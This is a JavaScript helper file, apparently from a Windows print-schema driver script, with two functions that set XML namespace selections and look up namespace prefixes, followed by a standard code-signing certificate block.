function SetStandardNameSpaces(xmlNode) {
    /// <summary>
    /// Set the Selection namespace values to below namesapces
    /// xmlns:psf='http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework' 
    /// xmlns:psf2='http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2' 
    /// xmlns:psk='http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords' 
    /// xmlns:psk11='http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11'
    /// xmlns:psk12='http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12'
    /// xmlns:xsd='http://www.w3.org/2001/XMLSchema'
    /// xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
    /// xmlns:pdfNs= 'http://schemas.microsoft.com/windows/2015/02/printing/printschemakeywords/microsoftprinttopdf'
    ///</summary>
    /// <param name="node" type="IXMLDOMNode">
    ///     A node in the XML document.
    /// </param>

    xmlNode.setProperty(
        "SelectionNamespaces",
        "xmlns:psf='http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework' "
            + "xmlns:psf2='http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2' "
            + "xmlns:psk='http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords' "
            + "xmlns:psk11='http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11' "
            + "xmlns:psk12='http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12' "
            + "xmlns:xsd='http://www.w3.org/2001/XMLSchema' "
            + "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' "
            + "xmlns:PdfNs='http://schemas.microsoft.com/windows/2015/02/printing/printschemakeywords/microsoftprinttopdf' "
        );
}


function getPrefixForNamespace(node, namespace) {
    /// <summary>
    ///     This function returns the prefix for a given namespace.
    ///     Example: In 'psf:printTicket', 'psf' is the prefix for the namespace.
    ///     xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework"
    /// </summary>
    /// <param name="node" type="IXMLDOMNode">
    ///     A node in the XML document.
    /// </param>
    /// <param name="namespace" type="String">
    ///     The namespace for which prefix is returned.
    /// </param>
    /// <returns type="String">
    ///     Returns the namespace corresponding to the prefix.
    /// </returns>

    if (!node) {
        return null;
    }

    // Navigate to the root element of the document.
    var rootNode = node.documentElement;

    // Query to retrieve the list of attribute nodes for the current node
    // that matches the namespace in the 'namespace' variable.
    var xPathQuery = "namespace::node()[.='"
                + namespace
                + "']";
    var namespaceNode = rootNode.selectSingleNode(xPathQuery);

    var prefix;
    if (namespaceNode != null){
        prefix = namespaceNode.baseName;
    }

    return prefix;
}

 

// SIG // Begin signature block
// SIG // MIImKwYJKoZIhvcNAQcCoIImHDCCJhgCAQExDzANBglg
// SIG // hkgBZQMEAgEFADB3BgorBgEEAYI3AgEEoGkwZzAyBgor
// SIG // BgEEAYI3AgEeMCQCAQEEEE7wKRaZJ7VNj+Ws4Q8X66sC
// SIG // AQACAQACAQACAQACAQAwMTANBglghkgBZQMEAgEFAAQg
// SIG // eRmuJTRxBA78Fz3WCj2JjTRm6cUMUZvuKsvOrf3TrTmg
// SIG // ggtnMIIE7zCCA9egAwIBAgITMwAABVfPkN3H0cCIjAAA
// SIG // AAAFVzANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJV
// SIG // UzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH
// SIG // UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBv
// SIG // cmF0aW9uMSgwJgYDVQQDEx9NaWNyb3NvZnQgQ29kZSBT
// SIG // aWduaW5nIFBDQSAyMDEwMB4XDTIzMTAxOTE5NTExMloX
// SIG // DTI0MTAxNjE5NTExMlowdDELMAkGA1UEBhMCVVMxEzAR
// SIG // BgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1v
// SIG // bmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlv
// SIG // bjEeMBwGA1UEAxMVTWljcm9zb2Z0IENvcnBvcmF0aW9u
// SIG // MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
// SIG // rNP5BRqxQTyYzc7lY4sbAK2Huz47DGso8p9wEvDxx+0J
// SIG // gngiIdoh+jhkos8Hcvx0lOW32XMWZ9uWBMn3+pgUKZad
// SIG // OuLXO3LnuVop+5akCowquXhMS3uzPTLONhyePNp74iWb
// SIG // 1StajQ3uGOx+fEw00mrTpNGoDeRj/cUHOqKb/TTx2TCt
// SIG // 7z32yj/OcNp5pk+8A5Gg1S6DMZhJjZ39s2LVGrsq8fs8
// SIG // y1RP3ZBb2irsMamIOUFSTar8asexaAgoNauVnQMqeAdE
// SIG // tNScUxT6m/cNfOZjrCItHZO7ieiaDk9ljrCS9QVLldjI
// SIG // JhadWdjiAa8JHXgeecBvJhe2s9XVho5OTQIDAQABo4IB
// SIG // bjCCAWowHwYDVR0lBBgwFgYKKwYBBAGCNz0GAQYIKwYB
// SIG // BQUHAwMwHQYDVR0OBBYEFGVIsKghPtVDZfZAsyDVZjTC
// SIG // rXm3MEUGA1UdEQQ+MDykOjA4MR4wHAYDVQQLExVNaWNy
// SIG // b3NvZnQgQ29ycG9yYXRpb24xFjAUBgNVBAUTDTIzMDg2
// SIG // NSs1MDE1OTcwHwYDVR0jBBgwFoAU5vxfe7siAFjkck61
// SIG // 9CF0IzLm76wwVgYDVR0fBE8wTTBLoEmgR4ZFaHR0cDov
// SIG // L2NybC5taWNyb3NvZnQuY29tL3BraS9jcmwvcHJvZHVj
// SIG // dHMvTWljQ29kU2lnUENBXzIwMTAtMDctMDYuY3JsMFoG
// SIG // CCsGAQUFBwEBBE4wTDBKBggrBgEFBQcwAoY+aHR0cDov
// SIG // L3d3dy5taWNyb3NvZnQuY29tL3BraS9jZXJ0cy9NaWND
// SIG // b2RTaWdQQ0FfMjAxMC0wNy0wNi5jcnQwDAYDVR0TAQH/
// SIG // BAIwADANBgkqhkiG9w0BAQsFAAOCAQEAyi7DQuZQIWdC
// SIG // y9r24eaW4WAzNYbRIN/nYv+fHw77U3E/qC8KvnkT7iJX
// SIG // lGit+3mhHspwiQO1r3SSvRY72QQuBW5KoS7upUqqZVFH
// SIG // ic8Z+ttKnH7pfqYXFLM0GA8gLIeH43U8ybcdoxnoiXA9
// SIG // fd8iKCM4za5ZVwrRlTEo68sto4lOKXM6dVjo1qwi/X89
// SIG // Gb0fNdWGQJ4cj+s7tVfKXWKngOuvISr3X2c1aetBfGZK
// SIG // p7nDqWtViokBGBMJBubzkHcaDsWVnPjCenJnDYAPu0ny
// SIG // W29F1/obCiMyu02/xPXRCxfPOe97LWPgLrgKb2SwLBu+
// SIG // mlP476pcq3lFl+TN7ltkoTCCBnAwggRYoAMCAQICCmEM
// SIG // UkwAAAAAAAMwDQYJKoZIhvcNAQELBQAwgYgxCzAJBgNV
// SIG // BAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYD
// SIG // VQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQg
// SIG // Q29ycG9yYXRpb24xMjAwBgNVBAMTKU1pY3Jvc29mdCBS
// SIG // b290IENlcnRpZmljYXRlIEF1dGhvcml0eSAyMDEwMB4X
// SIG // DTEwMDcwNjIwNDAxN1oXDTI1MDcwNjIwNTAxN1owfjEL
// SIG // MAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24x
// SIG // EDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jv
// SIG // c29mdCBDb3Jwb3JhdGlvbjEoMCYGA1UEAxMfTWljcm9z
// SIG // b2Z0IENvZGUgU2lnbmluZyBQQ0EgMjAxMDCCASIwDQYJ
// SIG // KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOkOZFB5Z7XE
// SIG // 4/0JAEyelKz3VmjqRNjPxVhPqaV2fG1FutM5krSkHvn5
// SIG // ZYLkF9KP/UScCOhlk84sVYS/fQjjLiuoQSsYt6JLbklM
// SIG // axUH3tHSwokecZTNtX9LtK8I2MyI1msXlDqTziY/7Ob+
// SIG // NJhX1R1dSfayKi7VhbtZP/iQtCuDdMorsztG4/BGScEX
// SIG // ZlTJHL0dxFViV3L4Z7klIDTeXaallV6rKIDN1bKe5QO1
// SIG // Y9OyFMjByIomCll/B+z/Du2AEjVMEqa+Ulv1ptrgiwtI
// SIG // d9aFR9UQucboqu6Lai0FXGDGtCpbnCMcX0XjGhQebzfL
// SIG // GTOAaolNo2pmY3iT1TDPlR8CAwEAAaOCAeMwggHfMBAG
// SIG // CSsGAQQBgjcVAQQDAgEAMB0GA1UdDgQWBBTm/F97uyIA
// SIG // WORyTrX0IXQjMubvrDAZBgkrBgEEAYI3FAIEDB4KAFMA
// SIG // dQBiAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw
// SIG // AwEB/zAfBgNVHSMEGDAWgBTV9lbLj+iiXGJo0T2UkFvX
// SIG // zpoYxDBWBgNVHR8ETzBNMEugSaBHhkVodHRwOi8vY3Js
// SIG // Lm1pY3Jvc29mdC5jb20vcGtpL2NybC9wcm9kdWN0cy9N
// SIG // aWNSb29DZXJBdXRfMjAxMC0wNi0yMy5jcmwwWgYIKwYB
// SIG // BQUHAQEETjBMMEoGCCsGAQUFBzAChj5odHRwOi8vd3d3
// SIG // Lm1pY3Jvc29mdC5jb20vcGtpL2NlcnRzL01pY1Jvb0Nl
// SIG // ckF1dF8yMDEwLTA2LTIzLmNydDCBnQYDVR0gBIGVMIGS
// SIG // MIGPBgkrBgEEAYI3LgMwgYEwPQYIKwYBBQUHAgEWMWh0
// SIG // dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9QS0kvZG9jcy9D
// SIG // UFMvZGVmYXVsdC5odG0wQAYIKwYBBQUHAgIwNB4yIB0A
// SIG // TABlAGcAYQBsAF8AUABvAGwAaQBjAHkAXwBTAHQAYQB0
// SIG // AGUAbQBlAG4AdAAuIB0wDQYJKoZIhvcNAQELBQADggIB
// SIG // ABp071dPKXvEFoV4uFDTIvwJnayCl/g0/yosl5US5eS/
// SIG // z7+TyOM0qduBuNweAL7SNW+v5X95lXflAtTx69jNTh4b
// SIG // YaLCWiMa8IyoYlFFZwjjPzwek/gwhRfIOUCm1w6zISnl
// SIG // paFpjCKTzHSY56FHQ/JTrMAPMGl//tIlIG1vYdPfB9XZ
// SIG // cgAsaYZ2PVHbpjlIyTdhbQfdUxnLp9Zhwr/ig6sP4Gub
// SIG // ldZ9KFGwiUpRpJpsyLcfShoOaanX3MF+0Ulwqratu3JH
// SIG // Yxf6ptaipobsqBBEm2O2smmJBsdGhnoYP+jFHSHVe/kC
// SIG // Iy3FQcu/HUzIFu+xnH/8IktJim4V46Z/dlvRU3mRhZ3V
// SIG // 0ts9czXzPK5UslJHasCqE5XSjhHamWdeMoz7N4XR3HWF
// SIG // nIfGWleFwr/dDY+Mmy3rtO7PJ9O1Xmn6pBYEAackZ3PP
// SIG // TU+23gVWl3r36VJN9HcFT4XG2Avxju1CCdENduMjVngi
// SIG // Jja+yrGMbqod5IXaRzNij6TJkTNfcR5Ar5hlySLoQiEl
// SIG // ihwtYNk3iUGJKhYP12E8lGhgUu/WR5mggEDuFYF3Ppzg
// SIG // UxgaUB04lZseZjMTJzkXeIc2zk7DX7L1PUdTtuDl2wth
// SIG // PSrXkizON1o+QEIxpB8QCMJWnL8kXVECnWp50hfT2sGU
// SIG // jgd7JXFEqwZq5tTG3yOalnXFMYIaHDCCGhgCAQEwgZUw
// SIG // fjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0
// SIG // b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1p
// SIG // Y3Jvc29mdCBDb3Jwb3JhdGlvbjEoMCYGA1UEAxMfTWlj
// SIG // cm9zb2Z0IENvZGUgU2lnbmluZyBQQ0EgMjAxMAITMwAA
// SIG // BVfPkN3H0cCIjAAAAAAFVzANBglghkgBZQMEAgEFAKCB
// SIG // wDAZBgkqhkiG9w0BCQMxDAYKKwYBBAGCNwIBBDAcBgor
// SIG // BgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG
// SIG // 9w0BCQQxIgQgk3KaJh7gT82peQ/9CvClBlohZ/vjZHs5
// SIG // MlydYp2XKpIwVAYKKwYBBAGCNwIBDDFGMESgIoAgAE0A
// SIG // aQBjAHIAbwBzAG8AZgB0ACAATwBmAGYAaQBjAGWhHoAc
// SIG // aHR0cDovL29mZmljZS5taWNyb3NvZnQuY29tIDANBgkq
// SIG // hkiG9w0BAQEFAASCAQASYyqfUuUQVtCVogmIlYL0lG80
// SIG // gz2b9CMnVt3kUE2RBugE0Zk9RrMhnu/Bca/U+/gE0dax
// SIG // jdmTzH6Yj6o4xDdR6mGrstg3I4Ecp8DRdXX0I+sqTT5w
// SIG // iU3NhwI0k6+IVF27VmkvmCstt1y53iovyN0UfmkbYYIu
// SIG // LTRKelPVOOJo1vBtHI4QJRGjubif6mHBm6edYcJVCGao
// SIG // usP8CCMD+l4eXdVN+gZ4tNNOhmYnGoh/sgzefpo191OK
// SIG // pMDHI98UT90rM7AtXO9MVfGHfQ7MkOUWNXFFLyO1K9bf
// SIG // oGOQip2BK9miFqzc2xdVtOAIZA+EfS08JBH1r7VcrxZ7
// SIG // lScELMq3oYIXlDCCF5AGCisGAQQBgjcDAwExgheAMIIX
// SIG // fAYJKoZIhvcNAQcCoIIXbTCCF2kCAQMxDzANBglghkgB
// SIG // ZQMEAgEFADCCAVIGCyqGSIb3DQEJEAEEoIIBQQSCAT0w
// SIG // ggE5AgEBBgorBgEEAYRZCgMBMDEwDQYJYIZIAWUDBAIB
// SIG // BQAEIHXhBINhJQk5dvhQjtiZrFw6ezY1y+ATxie7jNIu
// SIG // EF/tAgZl/GtyQc4YEzIwMjQwNDA2MDIyNzEwLjYzN1ow
// SIG // BIACAfSggdGkgc4wgcsxCzAJBgNVBAYTAlVTMRMwEQYD
// SIG // VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25k
// SIG // MR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24x
// SIG // JTAjBgNVBAsTHE1pY3Jvc29mdCBBbWVyaWNhIE9wZXJh
// SIG // dGlvbnMxJzAlBgNVBAsTHm5TaGllbGQgVFNTIEVTTjo5
// SIG // NjAwLTA1RTAtRDk0NzElMCMGA1UEAxMcTWljcm9zb2Z0
// SIG // IFRpbWUtU3RhbXAgU2VydmljZaCCEeowggcgMIIFCKAD
// SIG // AgECAhMzAAAB74k/VqFYzKjaAAEAAAHvMA0GCSqGSIb3
// SIG // DQEBCwUAMHwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpX
// SIG // YXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYD
// SIG // VQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xJjAkBgNV
// SIG // BAMTHU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEw
// SIG // MB4XDTIzMTIwNjE4NDU0OFoXDTI1MDMwNTE4NDU0OFow
// SIG // gcsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5n
// SIG // dG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVN
// SIG // aWNyb3NvZnQgQ29ycG9yYXRpb24xJTAjBgNVBAsTHE1p
// SIG // Y3Jvc29mdCBBbWVyaWNhIE9wZXJhdGlvbnMxJzAlBgNV
// SIG // BAsTHm5TaGllbGQgVFNTIEVTTjo5NjAwLTA1RTAtRDk0
// SIG // NzElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAg
// SIG // U2VydmljZTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCC
// SIG // AgoCggIBAKMLWOKfDOAfCE5qRmrLXugTgEgEqybmRfgN
// SIG // SYIFYjSUVWkSIrmZnYqHn2ygvieznamEUxBgYbmTKkKK
// SIG // m6eDA/02hvhUZUTpqgyjmFn03K1dHllGBv1nw1HoSYso
// SIG // gJGEPiyiM8yD9GcZFNx1/v9Ni/IzXSMuOYvIoR6Awd+8
// SIG // jA+Yz4A/uHNAt8TEN2oIna7rgZ3leWesU6S7lT2Ms4qT
// SIG // XLvRz5PC3Tj9Euqu6/V8Y/wuZia0e+sHhNwGwANdKZwW
// SIG // OHRWBCRfjNcXCqcgbyuBj7MOolhA1k/w7VijiRJyQdPj
// SIG // dcLSgzjTJ7b72X+tNiIMUzeeVl7aOG06QYI7oaqJOnnT
// SIG // Ej0hOkleLS8R6TwB6NPg8owQ7Zs/FTrenre5luN03kv6
// SIG // WAhwI0wI0jRIiilLiBpVHhLL8igO/W8Nal74jbz8rLyN
// SIG // ZN553Q7cfE8kxmpfhAHcjoOfBmseIqfqgTfy2AFMIIAq
// SIG // 8Shg5ODuvaUXQi5u3/f5U+8q1MJRtk8U4byNm32roAWh
// SIG // 2W9Ce2KiVghi2pKsvJcBAiVcaFniA1y/h2/VgCKWdtYD
// SIG // 0KydiH44oQWv/jDgzr2Uj7Jqhncv+39R9elP/7JzuFL8
// SIG // WiVyasYUlMFiVLicTVy4puXBn9Q4bbpIuEM41ZcZkMow
// SIG // ko3neg4tJKTiV1HQeWxtPiF4uVaU4SUlAgMBAAGjggFJ
// SIG // MIIBRTAdBgNVHQ4EFgQU7UxaooXCsJu2vD0/wDrdsBVI
// SIG // nMswHwYDVR0jBBgwFoAUn6cVXQBeYl2D9OXSZacbUzUZ
// SIG // 6XIwXwYDVR0fBFgwVjBUoFKgUIZOaHR0cDovL3d3dy5t
// SIG // aWNyb3NvZnQuY29tL3BraW9wcy9jcmwvTWljcm9zb2Z0
// SIG // JTIwVGltZS1TdGFtcCUyMFBDQSUyMDIwMTAoMSkuY3Js
// SIG // MGwGCCsGAQUFBwEBBGAwXjBcBggrBgEFBQcwAoZQaHR0
// SIG // cDovL3d3dy5taWNyb3NvZnQuY29tL3BraW9wcy9jZXJ0
// SIG // cy9NaWNyb3NvZnQlMjBUaW1lLVN0YW1wJTIwUENBJTIw
// SIG // MjAxMCgxKS5jcnQwDAYDVR0TAQH/BAIwADAWBgNVHSUB
// SIG // Af8EDDAKBggrBgEFBQcDCDAOBgNVHQ8BAf8EBAMCB4Aw
// SIG // DQYJKoZIhvcNAQELBQADggIBABgZlrdoIO51uT0RV2Q/
// SIG // zFxAZm4gAg9HH0rUIDu5HMG3zR8LRpaS5hiFAy8cclEd
// SIG // ShtIzhTDfM3t8cQ3yGFoENv01FoacVZ20fGYn14zPomm
// SIG // foqIjKL1Tk6DtAJNkyXXufbDh512rm+2TitFY5W+mIME
// SIG // YkBEqJdYH27aLHRYfYQwUYeqMiGNZReE+BHgLo0oU1ce
// SIG // 9a9d5wnZZesme+9AZcB80kYRMlkalHjWdQ3eKN+IJKMU
// SIG // PFqYY+zLmJi73Tge/265Jdh3mbQnF/ZY0lJeQ8aU2Gs7
// SIG // buk/GBPXXWbIBHrVLdLaFznvbM33KgkQ5sT3xXLkoQzd
// SIG // lfndwt583zUXUL2n9wAqQTq71XqvLKX+pKDG7VSp45kK
// SIG // 0b+JodIoyjEzsyrhIwWw9P/yJ453AKVilzDQKNl7koHH
// SIG // bEtrgHWd4WJvwnz+BKiyMx0XeceLIfHVh51kO3FJKB6B
// SIG // 4myLR9tSB3OxUwli+pXDnZapA27QZELv1m5Wt5RUp0Im
// SIG // ZQwEcGlOnpUWikvQl/hKuCD7NEP2LBtz25muf7z2h2ki
// SIG // dvOdiuc8oeI7bqp7V6Q3CX93uujYi0/+WCHPQOgPuQQZ
// SIG // 6KQolYd22jt5UmgmGStRxqdO5QfTyD41jAbpL4+MFIH8
// SIG // 3I0Xpsdr/FH5x4BiFyPHSIGK/3QyfQmIZ+cDb+EuPl6+
// SIG // FNwCMIIHcTCCBVmgAwIBAgITMwAAABXF52ueAptJmQAA
// SIG // AAAAFTANBgkqhkiG9w0BAQsFADCBiDELMAkGA1UEBhMC
// SIG // VVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcT
// SIG // B1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jw
// SIG // b3JhdGlvbjEyMDAGA1UEAxMpTWljcm9zb2Z0IFJvb3Qg
// SIG // Q2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTAwHhcNMjEw
// SIG // OTMwMTgyMjI1WhcNMzAwOTMwMTgzMjI1WjB8MQswCQYD
// SIG // VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4G
// SIG // A1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0
// SIG // IENvcnBvcmF0aW9uMSYwJAYDVQQDEx1NaWNyb3NvZnQg
// SIG // VGltZS1TdGFtcCBQQ0EgMjAxMDCCAiIwDQYJKoZIhvcN
// SIG // AQEBBQADggIPADCCAgoCggIBAOThpkzntHIhC3miy9ck
// SIG // eb0O1YLT/e6cBwfSqWxOdcjKNVf2AX9sSuDivbk+F2Az
// SIG // /1xPx2b3lVNxWuJ+Slr+uDZnhUYjDLWNE893MsAQGOhg
// SIG // fWpSg0S3po5GawcU88V29YZQ3MFEyHFcUTE3oAo4bo3t
// SIG // 1w/YJlN8OWECesSq/XJprx2rrPY2vjUmZNqYO7oaezOt
// SIG // gFt+jBAcnVL+tuhiJdxqD89d9P6OU8/W7IVWTe/dvI2k
// SIG // 45GPsjksUZzpcGkNyjYtcI4xyDUoveO0hyTD4MmPfrVU
// SIG // j9z6BVWYbWg7mka97aSueik3rMvrg0XnRm7KMtXAhjBc
// SIG // TyziYrLNueKNiOSWrAFKu75xqRdbZ2De+JKRHh09/SDP
// SIG // c31BmkZ1zcRfNN0Sidb9pSB9fvzZnkXftnIv231fgLrb
// SIG // qn427DZM9ituqBJR6L8FA6PRc6ZNN3SUHDSCD/AQ8rdH
// SIG // GO2n6Jl8P0zbr17C89XYcz1DTsEzOUyOArxCaC4Q6oRR
// SIG // RuLRvWoYWmEBc8pnol7XKHYC4jMYctenIPDC+hIK12Nv
// SIG // DMk2ZItboKaDIV1fMHSRlJTYuVD5C4lh8zYGNRiER9vc
// SIG // G9H9stQcxWv2XFJRXRLbJbqvUAV6bMURHXLvjflSxIUX
// SIG // k8A8FdsaN8cIFRg/eKtFtvUeh17aj54WcmnGrnu3tz5q
// SIG // 4i6tAgMBAAGjggHdMIIB2TASBgkrBgEEAYI3FQEEBQID
// SIG // AQABMCMGCSsGAQQBgjcVAgQWBBQqp1L+ZMSavoKRPEY1
// SIG // Kc8Q/y8E7jAdBgNVHQ4EFgQUn6cVXQBeYl2D9OXSZacb
// SIG // UzUZ6XIwXAYDVR0gBFUwUzBRBgwrBgEEAYI3TIN9AQEw
// SIG // QTA/BggrBgEFBQcCARYzaHR0cDovL3d3dy5taWNyb3Nv
// SIG // ZnQuY29tL3BraW9wcy9Eb2NzL1JlcG9zaXRvcnkuaHRt
// SIG // MBMGA1UdJQQMMAoGCCsGAQUFBwMIMBkGCSsGAQQBgjcU
// SIG // AgQMHgoAUwB1AGIAQwBBMAsGA1UdDwQEAwIBhjAPBgNV
// SIG // HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNX2VsuP6KJc
// SIG // YmjRPZSQW9fOmhjEMFYGA1UdHwRPME0wS6BJoEeGRWh0
// SIG // dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3By
// SIG // b2R1Y3RzL01pY1Jvb0NlckF1dF8yMDEwLTA2LTIzLmNy
// SIG // bDBaBggrBgEFBQcBAQROMEwwSgYIKwYBBQUHMAKGPmh0
// SIG // dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvY2VydHMv
// SIG // TWljUm9vQ2VyQXV0XzIwMTAtMDYtMjMuY3J0MA0GCSqG
// SIG // SIb3DQEBCwUAA4ICAQCdVX38Kq3hLB9nATEkW+Geckv8
// SIG // qW/qXBS2Pk5HZHixBpOXPTEztTnXwnE2P9pkbHzQdTlt
// SIG // uw8x5MKP+2zRoZQYIu7pZmc6U03dmLq2HnjYNi6cqYJW
// SIG // AAOwBb6J6Gngugnue99qb74py27YP0h1AdkY3m2CDPVt
// SIG // I1TkeFN1JFe53Z/zjj3G82jfZfakVqr3lbYoVSfQJL1A
// SIG // oL8ZthISEV09J+BAljis9/kpicO8F7BUhUKz/AyeixmJ
// SIG // 5/ALaoHCgRlCGVJ1ijbCHcNhcy4sa3tuPywJeBTpkbKp
// SIG // W99Jo3QMvOyRgNI95ko+ZjtPu4b6MhrZlvSP9pEB9s7G
// SIG // dP32THJvEKt1MMU0sHrYUP4KWN1APMdUbZ1jdEgssU5H
// SIG // LcEUBHG/ZPkkvnNtyo4JvbMBV0lUZNlz138eW0QBjloZ
// SIG // kWsNn6Qo3GcZKCS6OEuabvshVGtqRRFHqfG3rsjoiV5P
// SIG // ndLQTHa1V1QJsWkBRH58oWFsc/4Ku+xBZj1p/cvBQUl+
// SIG // fpO+y/g75LcVv7TOPqUxUYS8vwLBgqJ7Fx0ViY1w/ue1
// SIG // 0CgaiQuPNtq6TPmb/wrpNPgkNWcr4A245oyZ1uEi6vAn
// SIG // Qj0llOZ0dFtq0Z4+7X6gMTN9vMvpe784cETRkPHIqzqK
// SIG // Oghif9lwY1NNje6CbaUFEMFxBmoQtB1VM1izoXBm8qGC
// SIG // A00wggI1AgEBMIH5oYHRpIHOMIHLMQswCQYDVQQGEwJV
// SIG // UzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH
// SIG // UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBv
// SIG // cmF0aW9uMSUwIwYDVQQLExxNaWNyb3NvZnQgQW1lcmlj
// SIG // YSBPcGVyYXRpb25zMScwJQYDVQQLEx5uU2hpZWxkIFRT
// SIG // UyBFU046OTYwMC0wNUUwLUQ5NDcxJTAjBgNVBAMTHE1p
// SIG // Y3Jvc29mdCBUaW1lLVN0YW1wIFNlcnZpY2WiIwoBATAH
// SIG // BgUrDgMCGgMVAEtwjzWDFt5rUTHaYVtfHtyT7SD/oIGD
// SIG // MIGApH4wfDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldh
// SIG // c2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNV
// SIG // BAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEmMCQGA1UE
// SIG // AxMdTWljcm9zb2Z0IFRpbWUtU3RhbXAgUENBIDIwMTAw
// SIG // DQYJKoZIhvcNAQELBQACBQDpuq/aMCIYDzIwMjQwNDA1
// SIG // MTcxNDAyWhgPMjAyNDA0MDYxNzE0MDJaMHQwOgYKKwYB
// SIG // BAGEWQoEATEsMCowCgIFAOm6r9oCAQAwBwIBAAICDrQw
// SIG // BwIBAAICE1gwCgIFAOm8AVoCAQAwNgYKKwYBBAGEWQoE
// SIG // AjEoMCYwDAYKKwYBBAGEWQoDAqAKMAgCAQACAwehIKEK
// SIG // MAgCAQACAwGGoDANBgkqhkiG9w0BAQsFAAOCAQEAE17b
// SIG // FiLwhvQgA7LJsdDIA61K6HUzUIe1edEHvtQjm/orhy4/
// SIG // 91jPV666XftrFQ/fd96g95IbpnjXx2o4QWVcx5DpIBhF
// SIG // i7xa1xi1g2js5QpbIfGI1Vs0xSKF1M5jBs+pnJhS5cIu
// SIG // sP8vkwFTRctXyFoKeHjnIvm27WhjCGK92buaJBaeFoGW
// SIG // zCkYYWoixc3NS6V2wSLlHRIxvI8qyg/3CITkC01Qq2sd
// SIG // W/cC6lnxq5cVbKVNG5tuGhj886qiM2O2dQAmEaIkew5N
// SIG // vEzssvBqmn+k/uG1Va0lS9XwrDoMDTQpMx8wjIOVXSvf
// SIG // 84VsvcbS9R/IRvobcK3nhvtBNx2YnzGCBA0wggQJAgEB
// SIG // MIGTMHwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNo
// SIG // aW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQK
// SIG // ExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xJjAkBgNVBAMT
// SIG // HU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEwAhMz
// SIG // AAAB74k/VqFYzKjaAAEAAAHvMA0GCWCGSAFlAwQCAQUA
// SIG // oIIBSjAaBgkqhkiG9w0BCQMxDQYLKoZIhvcNAQkQAQQw
// SIG // LwYJKoZIhvcNAQkEMSIEIA4QMFlbUku87ktqOXDOKv63
// SIG // IiWkUOPrFfWzfPqPjEy2MIH6BgsqhkiG9w0BCRACLzGB
// SIG // 6jCB5zCB5DCBvQQg8GEoRbgWjfBTPT01DHZrQNtx2xfy
// SIG // Oi8zkuLMeafJf6MwgZgwgYCkfjB8MQswCQYDVQQGEwJV
// SIG // UzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH
// SIG // UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBv
// SIG // cmF0aW9uMSYwJAYDVQQDEx1NaWNyb3NvZnQgVGltZS1T
// SIG // dGFtcCBQQ0EgMjAxMAITMwAAAe+JP1ahWMyo2gABAAAB
// SIG // 7zAiBCCStNJyiXYZlBJ3YqVSbIf1yrKFmEabIh0bI6EK
// SIG // TcSgNTANBgkqhkiG9w0BAQsFAASCAgAZIFiry4ZYAt+a
// SIG // 9w8IqoXdUZ0h5IE3slgQFWGqhcEgFs9Q4eZMNsGMl7QL
// SIG // TfaEe+u3w/kivSPvucA9poyodQhncdo1oCTBkze7VaoR
